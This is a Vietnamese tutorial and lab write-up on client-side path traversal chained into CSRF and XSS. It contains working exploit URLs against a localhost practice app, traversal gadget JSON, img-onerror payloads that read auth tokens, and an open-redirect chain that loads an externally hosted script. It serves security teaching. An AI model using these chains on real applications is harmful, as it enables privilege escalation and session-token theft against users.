Client-Side Path Traversal (CSPT)
Client-side path traversal tương tự như server-side path traversal nhưng mục đích của nó không phải là để đọc file mà là để gửi request đến một API endpoint tùy ý.
Một client-side path traversal có thể được chia thành 2 phần:
- Source dùng để trigger CSPT.
- Sink là exploitable endpoint mà source có thể chạm đến.
Source
Source là một hành động nào đó mà trigger HTTP request dưới danh nghĩa của người dùng.
Input của source tương tự như XSS, chúng có thể là:
- Reflected:
page?id=XXXXX
- DOM Based:
page#id=XXXXX
hoặc bất kỳ data nào mà có thể được truy cập thông qua DOM (chẳng hạn như path). - Stored: data đọc từ DB.
Khi xác định source, ta cần cân nhắc xem có cần hành động nào để trigger hay nó được trigger khi trang được load.
Sink
Attacker chỉ có thể kiểm soát path của HTTP request.
Sink có các ràng buộc sau:
Host
: ta không thể target host khácHTTP method
: không thể thay đổi nhưng có thể tìm các sink vớiGET
,POST
,PUT
,DELETE
method.Headers
: source có thể thêm vào một số header chẳng hạn như CSRF token hay authentication token (được thực hiện bởi front-end).Body content
: source có thể include content vào body của sink nhưng bản thân body không thể được kiểm soát bởi CSPT trừ khi có một user input nào đó khác làm việc này.
Giả sử source gửi data sau:
{
"user_id": "<VICTIM_USER_ID>",
"org_id": "<VICTIM_ORG_ID>",
"data": ""
}
Trong trường hợp này, chỉ có các endpoint nhận vào data này mới được xem là reachable sinks.
Nếu backend không enforce schema của request body thì bất kỳ endpoint nào mà không require user_id
, org_id
hay data
đều có thể nhận vào data trên và được xem là một sink.
Đôi khi ngoài việc kiểm soát được path của subsequent request thì ta còn có thể kiểm soát được body params thông qua query params của source.
Để tìm sink thì có thể tham khảo:
- API docs
- Source code
- Semgrep
- Burp Suite Bambda filter
Exploiting CSPT
CSPT có thể bypass CSRF preventions do front-end có thể tự động thêm các token cần thiết khi thực hiện gọi API.
Ví dụ có trang web quản lý note cho phép truy cập note thông qua endpoint sau:
GET /notes/draft?id=1337
Front-end tự động trigger API request sau:
POST /api/v1/note/1337/details
Host: xxx
Authorization: Bearer <REDACTED>
{}
Trong trường hợp này, attacker có thể thực hiện CSPT để gửi request đến một unintended API bằng cách chỉnh sửa tham số id
:
GET /notes/draft?id=1337/../../anotherEndpoint?
Front-end đọc query param và gửi request đến endpoint sau:
POST /api/v1/note/1337/../../anotherEndpoint?/details
Host: xxx
Authorization: Bearer <REDACTED>
{}
Để biết được rằng ta có thể exploit hay không thì cần đánh giá impact. Chúng ta cần xác định các reachable sinks. Trong ví dụ này, tất cả các possible sinks cần có các restrictions sau:
- Host:
www.doyensec.com
- HTTP Method:
POST
- Headers:
Authorization
, CSRF-Token - Body content:
{}
Differences with Standard CSRF
- Có thể được khai thác trên các modern browsers.
- Các CSRF protections hiện tại (chẳng hạn như CSRF tokens) không thể ngăn chặn được.
- Có thể tìm các
GET
/POST
/PATCH
/PUT
/DELETE
CSRFs. DELETE CSRF là một attack vector nguy hiểm (chẳng hạn gọi đến API dùng để xóa MFA của một administrator). - Có thể là 1-click CSRF (button/link)
CSPT2CSRF With a GET Sink
GET sink có thể không có impact vì GET request thường không thay đổi state. Tuy nhiên, nếu GET sink lấy JSON data rồi thực hiện một action nào đó dựa trên JSON này thì có thể dùng để khai thác.
Nếu chúng ta tìm được GET sink trả về data mà ta có thể kiểm soát thì ta có thể tạo ra malicious JSON response để kiểm soát POST request cuối cùng.
Các API upload và download mà sử dụng cùng 1 endpoint tương thích với CSPT2CSRF sử dụng GET sink.
Other CSPT Impacts
CSPT2CSRF With GET Sink to Exploit an XSS
Nếu front-end expect back-end sanitize data và lấy data từ JSON để render HTML thì có thể sử dụng CSPT để thực hiện XSS.
Chaining with an Open Redirect
Nếu có open redirect ở sink thì có thể đánh cắp dữ liệu hoặc auth/CSRF token. Lý do là vì Fetch API (fetch
) forward các headers được set bởi front-end.
Playground
Sau đây là write-up giải các bài lab.
Các bài lab đã cung cấp sẵn một số sink và gadget:
- **/sink/promote/lax_in_extra_param_promote/:id - POST** : This endpoint will accept extra parameters in the request and promote the :id user to admin.
- **/sink/promote/body_or_query - PUT** : This endpoint will accept query parameters (instead of body parameters) and promote the :id user to admin.
- **/sink/demote/:id - DELETE** : This endpoint will demote the :id user to member.
- **Gadget tab**: file upload feature, open-redirect, JSONP callback. It can be used to escalate CSPT with GET sink to CSRF, XSS or leak the access token.
CSPT2CSRF POST Sink
Khi truy xuất 1 note thì có các request sau đây:
Các request gửi đến back-end theo thứ tự thời gian:
- POST request dùng để mark note là đã đọc.
- GET request sau đó dùng để lấy nội dung của note.
Thay ID của note thành 1ns0mn1a
thì chuỗi các request trở thành:
Thử thực hiện CSPT:
Thấy rằng ta có thể dùng ID của note làm source của CSPT. Và ta đã có sẵn một POST sink là POST /sink/promote/lax_in_extra_param_promote/:id
.
URL dùng để CSRF:
http://localhost:3000/vulnerable/note_auto_post_sink/..%2f..%2fsink%2fpromote%2flax_in_extra_param_promote%2f66fc8c17d29c4a98a44a4a87%3fq=
Với 66fc8c17d29c4a98a44a4a87
là ID của user member
mà ta cần promote lên admin.
Các request được gửi đi:
Response của POST /sink/promote/lax_in_extra_param_promote/:id
cho thấy ta đã upgrade role của user member
thành admin
.
{"_id":"66fc8c17d29c4a98a44a4a87","username":"member","role":"admin"}
CSPT2CSRF GET to POST Sink
Khi gửi truy xuất request đến một note thì có các request sau đây:
Các request gửi đến back-end theo thứ tự thời gian:
- GET request đế lấy nội dung của note.
- POST request để đánh dấu note là đã đọc.
Thử thay ID của note thành 1ns0mn1a
thì có các request sau:
Để có thể reach được tới POST sink thì ta cần GET request nhận được response hợp lệ.
Một trong số đó là file với ID 66fc8d071bcf0dd223467bba
ở endpoint:
/api/gadget/files/66fc8d071bcf0dd223467bba/raw
Response của nó:
{"_id":"../../../../api/sink/promote/lax_in_extra_param_promote/66fc8c17d29c4a98a44a4a87?","title":"I'm a File not a Note","description":"We will use this gadget to return a malicious id"}
Response này tương thích với GET request dùng để lấy nội dung của note.
Có thể thấy, gadget này có ID cũng là một CSPT payload mà sẽ được truyền vào path của POST sink.
Khi được truyền vào, path của POST sink sẽ có dạng:
/api/v1/notes/../../../../api/sink/promote/lax_in_extra_param_promote/66fc8c17d29c4a98a44a4a87?
Khi chuẩn hóa sẽ trở thành:
/api/sink/promote/lax_in_extra_param_promote/66fc8c17d29c4a98a44a4a87?
Và đây chính là endpoint dùng để upgrade role của user member
thành admin
.
Payload dùng để thực hiện CSRF:
http://localhost:3000/vulnerable/note_auto_get_to_post_sink/..%2f..%2fgadget%2ffiles%2f66fc8d071bcf0dd223467bba%2fraw
POST request dùng để upgrade role khi gửi request với quyền member có dạng như sau:
HTTP/1.1 403 Forbidden
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Date: Fri, 18 Jul 2025 04:18:18 GMT
Keep-Alive: timeout=5
{"message":"Require Admin Role!"}
Thực hiện với role là admin thì upgrade role thành công.
1-click CSPT2CSRF: Path Param
Truy xuất thông tin của một note thì có các request sau:
Như vậy, ta chỉ có 1 sink là GET request để lấy nội dung của note.
Thử dùng ID là 123
thì thấy nó được reflected vào sink:
Trên mỗi note đều có nút giúp update thông tin của note:
Lab có cung cấp sink PUT /sink/promote/body_or_query
mà có chấp nhận query params. Ta sẽ tìm cách để khi victim nhấn update thì front-end sẽ gửi request đến API này.
Cụ thể hơn, ta sẽ sử dụng file gadget mà có response là:
{"_id":"../../../../api/sink/promote/body_or_query?id=66fc8c17d29c4a98a44a4a87","title":"I'm a File not a Note","description":"We will use this gadget to targe the body_or_query endpoint"}
Gadget này nằm ở đường dẫn:
/api/gadget/files/66fc8d0755cf0db1bcfab29c/raw
Như vậy, ta sẽ xây dựng URL để thực hiện 1-click CSRF như sau:
http://localhost:4000/vulnerable/note_path_param/../../gadget/files/66fc8d0755cf0db1bcfab29c/raw?id=66fc8c17d29c4a98a44a4a86/details
URL encode phần ID:
http://localhost:4000/vulnerable/note_path_param/..%2F..%2Fgadget%2Ffiles%2F66fc8d0755cf0db1bcfab29c%2Fraw%3Fid%3D66fc8c17d29c4a98a44a4a86/details
Với 66fc8c17d29c4a98a44a4a86
là ID của user member
.
Khi truy cập vào URL rồi nhấn “Update” thì ta có chuỗi request sau:
Thử lại với role là Admin thì thấy rằng ta upgrade role cho user member
thành công.
1-click CSPT2CSRF: Query Param
Lab này tương tự lab trên nhưng input data nằm ở id
param:
Param id
được reflected vào API request /api/v1/notes/{id}
.
Ta sẽ thực hiện 1-click CSPT2CSRF tương tự như trên nhưng thông qua query param:
http://localhost:4000/vulnerable/note_query_param?id=../../gadget/files/66fc8d0755cf0db1bcfab29c/raw?id=66fc8c17d29c4a98a44a4a86
Không cần URL encode giá trị của id
.
Truy cập URL trên, nhấn Update với quyền của Admin và ta sẽ upgrade role của user member
thành công.
1-click CSPT2CSRF: Fragment Param
Tương tự như 2 lab gần nhất. URL dùng để tấn công là:
http://localhost:4000/vulnerable/note_fragment_param#id=../../gadget/files/66fc8d0755cf0db1bcfab29c/raw?id=66fc8c17d29c4a98a44a4a86
CSPT2XSS: Query Param - innerHTML
Khi truy xuất note thì có các request sau:
Giao diện hiển thị dựa trên response data của GET request như sau:
<h2 class="card-title">Note Details</h2><p class="card-text">ID: 66fc8c8b1bcf0dd223467b9f</p><h3 class="card-text">Title:</h3><div>Intro</div><h3 class="card-text">Description:</h3><div>Multiple CSPTs can be exploited in this app.</div>
Như vậy, data sẽ nằm ở trong HTML context.
Lab cung cấp gadget file như sau:
{"_id":"CSPT2XSS","title":"<img src=x onerror=\"alert(localStorage.getItem('token'))\" />","description":"<img src=x onerror=\"alert(localStorage.getItem('token'))\" />"}
Ở đường dẫn:
/api/gadget/files/66fc8d071bcf0db1bcfab67c/raw
Xây dựng URL để traversal đến gadget file thông qua query param id
:
http://localhost:4000/vulnerable/note_query_param_xss?id=../../gadget/files/66fc8d071bcf0db1bcfab67c/raw
Khi truy cập vào URL thì có alert
như sau:
CSPT2XSS: Query Param - CSPT in Script
Khi truy xuất note thì có các request như sau:
Phỏng đoán rằng giá trị của param lang
sẽ được reflect vào tên file JS mà sẽ load từ back-end.
Sử dụng Eval Villain với needle là lang
thì có được finding sau:
[EV] value(URLSearchParams.get) http://localhost:4000/vulnerable/note/note_script_sink_xss?lang=en note_script_sink_xss:435:7
arg(string): note_script_sink_xss:462:8
needle: lang found note_script_sink_xss:499:9
stack: note_script_sink_xss:652:10
console.trace() note_script_sink_xss:654:9
EvalVillainHook note_script_sink_xss:654
apply note_script_sink_xss:668
Ya VulnerableNotesScriptSinkXSS.js:13
React 7
w scheduler.production.min.js:13
O scheduler.production.min.js:14
(Async: EventHandlerNonNull)
234 scheduler.production.min.js:14
Webpack 12
Xem file VulnerableNotesScriptSinkXSS.js
thì tìm thấy đoạn sử dụng lang
query param sau:
// Fetch lang from query param
const queryParams = new URLSearchParams(location.search);
const lang = queryParams.get('lang');
useEffect(() => {
const script = document.createElement("script");
script.src = `${config.apiBaseUrl}/api/translation/${lang}.js`;
script.async = true;
document.body.appendChild(script);
return () => {
document.body.removeChild(script);
};
}, [lang]);
Quả đúng như phỏng đoán. Đoạn code trên sẽ tạo ra thẻ <script>
với src
được load thông qua một API request đến backend và nhúng vào DOM.
Lab cung cấp sink dùng để thực hiện open redirect:
http://localhost:7000/api/gadget/open_redirect?url=
Host một malicious JavaScript file ở URL https://insomnia.ninja/s/cspt2xss.js có nội dung như sau:
alert(localStorage.getItem("token"))
Xây dựng URL:
http://localhost:4000/vulnerable/note/note_script_sink_xss?lang=../gadget/open_redirect?url=https://insomnia.ninja/s/cspt2xss
Do URL được gửi đi sẽ tự động có .js
ở cuối nên ta không cần thêm vào payload.
Truy cập URL và có được XSS: